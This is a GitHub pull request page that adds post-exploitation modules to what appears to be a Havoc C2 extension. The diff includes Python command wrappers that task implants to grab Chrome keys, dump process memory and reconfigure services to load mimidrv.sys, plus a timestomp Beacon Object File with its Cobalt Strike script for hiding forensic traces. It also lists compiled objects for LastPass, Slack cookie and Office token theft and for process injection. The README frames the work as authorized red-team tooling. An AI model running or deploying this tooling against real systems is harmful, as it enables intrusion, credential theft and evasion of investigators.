Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added Timestomp Module #30

Open
wants to merge 4 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
123 changes: 121 additions & 2 deletions RemoteOps/RemoteOps.py
Original file line number Diff line number Diff line change
Expand Up @@ -103,6 +103,25 @@ def addusertogroup( demonID, *params ):
demon.InlineExecute( TaskID, "go", f"bin/addusertogroup.{demon.ProcessArch}.o", packer.getbuffer(), False )

return TaskID

def chromekey( demonID, *params ):
TaskID : str = None
demon : Demon = None
packer = Packer()
demon = Demon( demonID )

num_params = len(params)

if num_params > 1:
demon.ConsoleWrite( demon.CONSOLE_ERROR, "Too many parameters" )
return False


TaskID = demon.ConsoleWrite( demon.CONSOLE_TASK, f"Tasked demon to grab the chrome key" )

demon.InlineExecute( TaskID, "go", f"bin/chromeKey.{demon.ProcessArch}.o", packer.getbuffer(), False )

return TaskID

def enableuser( demonID, *params ):
TaskID : str = None
Expand Down Expand Up @@ -463,6 +482,57 @@ def sc_create( demonID, *params ):

return TaskID

def sc_config( demonID, *params ):
TaskID : str = None
demon : Demon = None
packer = Packer()
demon = Demon( demonID )

num_params = len(params)
hostname = ''

if num_params < 3:
demon.ConsoleWrite( demon.CONSOLE_ERROR, "Not enough parameters" )
return False

if num_params > 5:
demon.ConsoleWrite( demon.CONSOLE_ERROR, "Too many parameters" )
return False

servicename = params[ 0 ]
binpath = params[ 1 ]
errormode = params[ 2 ]
startmode = params[ 3 ]

if num_params == 5:
hostname = params[ 4 ]

try:
errormode = int( errormode )
assert errormode in [0, 1, 2, 3]
except Exception as e:
demon.ConsoleWrite( demon.CONSOLE_ERROR, "Invalid errormode" )
return False

try:
startmode = int( startmode )
assert startmode in [2, 3, 4]
except Exception as e:
demon.ConsoleWrite( demon.CONSOLE_ERROR, "Invalid startmode" )
return False

packer.addstr(hostname)
packer.addstr(servicename)
packer.addstr(binpath)
packer.addshort(errormode)
packer.addshort(startmode)

TaskID = demon.ConsoleWrite( demon.CONSOLE_TASK, f"Tasked demon to modify the {servicename} service" )

demon.InlineExecute( TaskID, "go", f"bin/sc_config.{demon.ProcessArch}.o", packer.getbuffer(), False )

return TaskID

def sc_start( demonID, *params ):
TaskID : str = None
demon : Demon = None
Expand Down Expand Up @@ -618,6 +688,36 @@ def adduser( demonID, *params ):
demon.InlineExecute( TaskID, "go", f"bin/adduser.{demon.ProcessArch}.o", packer.getbuffer(), False )

return TaskID

def procdump( demonID, *params ):
TaskID : str = None
demon : Demon = None
packer = Packer()
demon = Demon( demonID )

num_params = len(params)
PID = ''
OutFile = ''

if num_params < 1:
demon.ConsoleWrite( demon.CONSOLE_ERROR, "Not enough parameters" )
return False

if num_params > 2:
demon.ConsoleWrite( demon.CONSOLE_ERROR, "Too many parameters" )
return False

PID = params[ 0 ]
OutFile = params[ 1 ]

packer.addstr(PID)
packer.addstr(OutFile)

TaskID = demon.ConsoleWrite( demon.CONSOLE_TASK, f"Tasked demon to dump the process memory of the provided PID" )

demon.InlineExecute( TaskID, "go", f"bin/procdump.{demon.ProcessArch}.o", packer.getbuffer(), False )

return TaskID

RegisterCommand( adcs_request, "", "adcs_request", "Request an enrollment certificate", 0, "/CA:ca [/TEMPLATE:template] [/SUBJECT:subject] [/ALTNAME:altname] [/INSTALL] [/MACHINE]", "1337 c:\\windwos\\temp\\test.txt" )
RegisterCommand( addusertogroup, "", "addusertogroup", "Add the specified user to the specified group", 0, """<USERNAME> <GROUPNAME> <Server> <DOMAIN>
Expand All @@ -627,6 +727,7 @@ def adduser( demonID, *params ):
DOMAIN Required. The domain/computer for the account. You must give
the domain name for the user if it is a domain account, or
use \"\" to target an account on the local machine.""", "eviluser Administrators \"\" \"\"" )
RegisterCommand( chromekey, "", "chromekey", "Grabs chrome key", 0, """chromekey""", "chromekey" )
RegisterCommand( enableuser, "", "enableuser", "Activates (and if necessary enables) the specified user account on the target computer.", 0, """<USERNAME> <HOSTNAME>
USERNAME Required. The user name to activate/enable.
HOSTNAME Required. The domain/computer for the account. You must give
Expand Down Expand Up @@ -659,8 +760,7 @@ def adduser( demonID, *params ):
HKU
HKCR
REGPATH Required. The registry path to save.
FILEOUT Required. The output file.
Note: The FILEOUT is saved to disk on target, so don't forget to clean up.""", "HKLM Some\\Path c:\\windows\\temp\\reg.txt" )
FILEOUT Required. The output file. Note: The FILEOUT is saved to disk on target, so don't forget to clean up.""", "HKLM Some\\Path c:\\windows\\temp\\reg.txt" )
RegisterCommand( reg_set, "", "reg_set", "This command creates or sets the specified registry key (or value) on the target host.", 0, """<OPT:HOSTNAME> <HIVE> <REGPATH> <KEY> <TYPE> <DATA>
HOSTNAME Optional. The host to connect to and run the commnad on.
HIVE Required. The registry hive containing the REGPATH. Possible
Expand Down Expand Up @@ -709,6 +809,22 @@ def adduser( demonID, *params ):
4 - SERVICE_WIN32_SHARE_PROCESS (Service that shares a process with one or more other services)
HOSTNAME Optional. The host to connect to and run the commnad on. The
local system is targeted if a HOSTNAME is not specified.""", "mimidrv mimidrv C:\\Windows\\Temp\\mimidrv.sys \"\" 0 3 2" )
RegisterCommand( sc_config, "", "sc_config", "This command modifies a service on the target host.", 0, """<SVCNAME> <BINPATH> <ERRORMODE> <STARTMODE> <OPT:HOSTNAME>
SVCNAME Required. The name of the service to create.
BINPATH Required. The binary path of the service to execute.
ERRORMODE Required. The error mode of the service. The valid
options are:
0 - ignore errors
1 - normal logging
2 - log severe errors
3 - log critical errors
STARTMODE Required. The start mode for the service. The valid
options are:
2 - auto start
3 - on demand start
4 - disabled
HOSTNAME Optional. The host to connect to and run the commnad on. The
local system is targeted if a HOSTNAME is not specified.""", "VSS C:\\Windows\\Temp\\mimidrv.sys 0 3 " )
RegisterCommand( sc_start, "", "sc_start", "This command starts the specified service on the target host.", 0, """<SVCNAME> <OPT:HOSTNAME>
SVCNAME Required. The name of the service to start.
HOSTNAME Optional. The host to connect to and run the command on. The
Expand All @@ -731,3 +847,6 @@ def adduser( demonID, *params ):
PASSWORD Required. The password of the new user.
SERVER Optional. If entered, the user will be created on that machine. If not, the
local machine will be used.""", "eviluser Password123 dc01.contoso.local" )
RegisterCommand( procdump, "", "procdump", "Dump the specified process to the specified output file", 0, """<PID> <OUTFILE>
PID Required. PID of process to dump.
OUTFILE Required. Location and name of output file.""", "<PID> <OUTFILE>")
Binary file added RemoteOps/bin/ProcessDestroy.x64.o
Binary file not shown.
Binary file added RemoteOps/bin/ProcessDestroy.x86.o
Binary file not shown.
Binary file added RemoteOps/bin/ProcessListHandles.x64.o
Binary file not shown.
Binary file added RemoteOps/bin/ProcessListHandles.x86.o
Binary file not shown.
Binary file modified RemoteOps/bin/adcs_request.x64.o
Binary file not shown.
Binary file modified RemoteOps/bin/adcs_request.x86.o
Binary file not shown.
Binary file modified RemoteOps/bin/adduser.x64.o
Binary file not shown.
Binary file modified RemoteOps/bin/adduser.x86.o
Binary file not shown.
Binary file modified RemoteOps/bin/addusertogroup.x64.o
Binary file not shown.
Binary file modified RemoteOps/bin/addusertogroup.x86.o
Binary file not shown.
Binary file added RemoteOps/bin/chromeKey.x64.o
Binary file not shown.
Binary file added RemoteOps/bin/chromeKey.x86.o
Binary file not shown.
Binary file added RemoteOps/bin/clipboard.x64.o
Binary file not shown.
Binary file added RemoteOps/bin/clipboard.x86.o
Binary file not shown.
Binary file added RemoteOps/bin/clipboardinject.x64.o
Binary file not shown.
Binary file added RemoteOps/bin/clipboardinject.x86.o
Binary file not shown.
Binary file added RemoteOps/bin/conhost.x64.o
Binary file not shown.
Binary file added RemoteOps/bin/conhost.x86.o
Binary file not shown.
Binary file added RemoteOps/bin/createremotethread.x64.o
Binary file not shown.
Binary file added RemoteOps/bin/createremotethread.x86.o
Binary file not shown.
Binary file added RemoteOps/bin/ctray.x64.o
Binary file not shown.
Binary file added RemoteOps/bin/ctray.x86.o
Binary file not shown.
Binary file added RemoteOps/bin/dde.x64.o
Binary file not shown.
Binary file added RemoteOps/bin/dde.x86.o
Binary file not shown.
Binary file modified RemoteOps/bin/enableuser.x64.o
Binary file not shown.
Binary file modified RemoteOps/bin/enableuser.x86.o
Binary file not shown.
Binary file added RemoteOps/bin/get_priv.x64.o
Binary file not shown.
Binary file added RemoteOps/bin/get_priv.x86.o
Binary file not shown.
Binary file added RemoteOps/bin/ghost_task.x64.o
Binary file not shown.
Binary file added RemoteOps/bin/ghost_task.x86.o
Binary file not shown.
Binary file added RemoteOps/bin/kernelcallbacktable.x64.o
Binary file not shown.
Binary file added RemoteOps/bin/kernelcallbacktable.x86.o
Binary file not shown.
Binary file added RemoteOps/bin/lastpass.x64.o
Binary file not shown.
Binary file added RemoteOps/bin/lastpass.x86.o
Binary file not shown.
Binary file added RemoteOps/bin/ntcreatethread.x64.o
Binary file not shown.
Binary file added RemoteOps/bin/ntcreatethread.x86.o
Binary file not shown.
Binary file added RemoteOps/bin/ntqueueapcthread.x64.o
Binary file not shown.
Binary file added RemoteOps/bin/ntqueueapcthread.x86.o
Binary file not shown.
Binary file added RemoteOps/bin/office_tokens.x64.o
Binary file not shown.
Binary file added RemoteOps/bin/office_tokens.x86.o
Binary file not shown.
Binary file added RemoteOps/bin/procdump.x64.o
Binary file not shown.
Binary file added RemoteOps/bin/procdump.x86.o
Binary file not shown.
Binary file modified RemoteOps/bin/reg_delete.x64.o
Binary file not shown.
Binary file modified RemoteOps/bin/reg_delete.x86.o
Binary file not shown.
Binary file modified RemoteOps/bin/reg_save.x64.o
Binary file not shown.
Binary file modified RemoteOps/bin/reg_save.x86.o
Binary file not shown.
Binary file modified RemoteOps/bin/reg_set.x64.o
Binary file not shown.
Binary file modified RemoteOps/bin/reg_set.x86.o
Binary file not shown.
Binary file added RemoteOps/bin/sc_config.x64.o
Binary file not shown.
Binary file added RemoteOps/bin/sc_config.x86.o
Binary file not shown.
Binary file modified RemoteOps/bin/sc_create.x64.o
Binary file not shown.
Binary file modified RemoteOps/bin/sc_create.x86.o
Binary file not shown.
Binary file modified RemoteOps/bin/sc_delete.x64.o
Binary file not shown.
Binary file modified RemoteOps/bin/sc_delete.x86.o
Binary file not shown.
Binary file modified RemoteOps/bin/sc_description.x64.o
Binary file not shown.
Binary file modified RemoteOps/bin/sc_description.x86.o
Binary file not shown.
Binary file added RemoteOps/bin/sc_failure.x64.o
Binary file not shown.
Binary file added RemoteOps/bin/sc_failure.x86.o
Binary file not shown.
Binary file modified RemoteOps/bin/sc_start.x64.o
Binary file not shown.
Binary file modified RemoteOps/bin/sc_start.x86.o
Binary file not shown.
Binary file modified RemoteOps/bin/sc_stop.x64.o
Binary file not shown.
Binary file modified RemoteOps/bin/sc_stop.x86.o
Binary file not shown.
Binary file added RemoteOps/bin/schtaskscreate.x64.o
Binary file not shown.
Binary file added RemoteOps/bin/schtaskscreate.x86.o
Binary file not shown.
Binary file added RemoteOps/bin/schtasksdelete.x64.o
Binary file not shown.
Binary file added RemoteOps/bin/schtasksdelete.x86.o
Binary file not shown.
Binary file added RemoteOps/bin/schtasksrun.x64.o
Binary file not shown.
Binary file added RemoteOps/bin/schtasksrun.x86.o
Binary file not shown.
Binary file added RemoteOps/bin/schtasksstop.x64.o
Binary file not shown.
Binary file added RemoteOps/bin/schtasksstop.x86.o
Binary file not shown.
Binary file added RemoteOps/bin/setthreadcontext.x64.o
Binary file not shown.
Binary file added RemoteOps/bin/setthreadcontext.x86.o
Binary file not shown.
Binary file modified RemoteOps/bin/setuserpass.x64.o
Binary file not shown.
Binary file modified RemoteOps/bin/setuserpass.x86.o
Binary file not shown.
Binary file added RemoteOps/bin/shspawnas.x64.o
Binary file not shown.
Binary file added RemoteOps/bin/shspawnas.x86.o
Binary file not shown.
Binary file added RemoteOps/bin/slack_cookie.x64.o
Binary file not shown.
Binary file added RemoteOps/bin/slack_cookie.x86.o
Binary file not shown.
Binary file added RemoteOps/bin/suspendresume.x64.o
Binary file not shown.
Binary file added RemoteOps/bin/suspendresume.x86.o
Binary file not shown.
Binary file added RemoteOps/bin/svcctrl.x64.o
Binary file not shown.
Binary file added RemoteOps/bin/svcctrl.x86.o
Binary file not shown.
Binary file added RemoteOps/bin/tooltip.x64.o
Binary file not shown.
Binary file added RemoteOps/bin/tooltip.x86.o
Binary file not shown.
Binary file added RemoteOps/bin/unexpireuser.x64.o
Binary file not shown.
Binary file added RemoteOps/bin/unexpireuser.x86.o
Binary file not shown.
Binary file added RemoteOps/bin/uxsubclassinfo.x64.o
Binary file not shown.
Binary file added RemoteOps/bin/uxsubclassinfo.x86.o
Binary file not shown.
14 changes: 14 additions & 0 deletions TimeStomp/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
# TimeStomp_bof
This is a very simple BOF that can be used with Cobalt Strike and other post exploitation frameworks that I reimplemented from one of my C++ tools. This BOF timestomps a target file to have the time attributes that match those of a source file on the same Windows system.

## Purpose
While Cobalt Strike includes a native timestomp functionality, this was just an endeavor to continue learning about BOF development, C vs. C++ code integrations for those capabilities, and to make a publicly available timestomp BOF since other frameworks often don't natively include that capability but do support BOFs.

## Usage
timestomp-bof 'target-file' 'source-file'

## Compiling
The Makefile includes the Mingw command for compiling the BOF and can be executed by running 'make' from within the src directory.

## Disclaimer
I made an honest attempt to include explicit error handling in this code but as with every thing you find on the internet, proper testing with your framework and to ensure this meets your use case is highly recommended prior to using this on any live assessments. This code is provided as is with no guarantees and is intended to only be used on authorized systems where you have approval to perform testing and/or research.
35 changes: 35 additions & 0 deletions TimeStomp/TimeStomp.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
from havoc import Demon, RegisterCommand, RegisterModule
import re

def timestomp( demonID, *params ):
TaskID : str = None
demon : Demon = None
packer = Packer()
demon = Demon( demonID )

num_params = len(params)

if num_params < 2:
demon.ConsoleWrite( demon.CONSOLE_ERROR, "Not enough parameters" )
return False

if num_params > 2:
demon.ConsoleWrite( demon.CONSOLE_ERROR, "Too many parameters" )
return False

targetFile = params[ 0 ]
sourceFile = params[ 1 ]


packer.addWstr(targetFile)
packer.addWstr(sourceFile)

TaskID = demon.ConsoleWrite( demon.CONSOLE_TASK, f"Tasked demon to set last modified of <targetFile> to match that of <sourceFile>" )

demon.InlineExecute( TaskID, "go", f"bin/timestomp.{demon.ProcessArch}.o", packer.getbuffer(), False )

return TaskID

RegisterCommand( timestomp, "", "timestomp", "Sets last modified of <targetFile> to match that of <sourceFile>", 0, """<TARGETFILE> <SOURCEFILE>
targetFile Required. File to modify.
sourceFile Required. File to copy from""", "targetFile sourceFile" )
37 changes: 37 additions & 0 deletions TimeStomp/bin/timestomp.cna
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
beacon_command_register(
"timestomp-bof",
"Timestomps the creation, last access and last write time of a target file to match a supplied source file that exists on the same system.",
"Synopsis: timestomp-bof <target-file> <source-file>"
);

alias timestomp-bof {
if(size(@_) != 3)
{
berror($1, "Incorrect usage!");
berror($1, beacon_command_detail("timestomp-bof"));
return;
}

local('$barch $handle $data $args');

# Get beacon architecture
$barch = barch($1);

# Ensure we are in an x64 beacon
if ($barch !eq 'x64') {
berror($1, "We just support x64 at the moment.");
return;
}

# Load BOF
$handle = openf(script_resource("timestomp. $+ $barch $+ .o"));
$data = readb($handle, -1);
closef($handle);

# Pack args
$args = bof_pack($1, "zz", $2, $3);

btask($1, "TimeStomp_bof: by robot");

beacon_inline_execute($1, $data, "go", $args);
}
Binary file added TimeStomp/bin/timestomp.x64.o
Binary file not shown.
12 changes: 12 additions & 0 deletions TimeStomp/makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
BOFNAME := dir
COMINCLUDE := -I src/
CC_x64 := x86_64-w64-mingw32-gcc
CC_x86 := i686-w64-mingw32-gcc
CC=x86_64-w64-mingw32-clang

all:
$(CC_x64) -o bin/$(BOFNAME).x64.o $(COMINCLUDE) -c src/timestomp.c

clean:
rm -f /bin/$(BOFNAME).*

61 changes: 61 additions & 0 deletions TimeStomp/src/beacon.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
/*
* Beacon Object Files (BOF)
* -------------------------
* A Beacon Object File is a light-weight post exploitation tool that runs
* with Beacon's inline-execute command.
*
* Cobalt Strike 4.1.
*/

/* data API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} datap;

DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);

/* format API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} formatp;

DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);

/* Output Functions */
#define CALLBACK_OUTPUT 0x0
#define CALLBACK_OUTPUT_OEM 0x1e
#define CALLBACK_ERROR 0x0d
#define CALLBACK_OUTPUT_UTF8 0x20

DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);

/* Token Functions */
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
DECLSPEC_IMPORT void BeaconRevertToken();
DECLSPEC_IMPORT BOOL BeaconIsAdmin();

/* Spawn+Inject Functions */
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);

/* Utility Functions */
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
Loading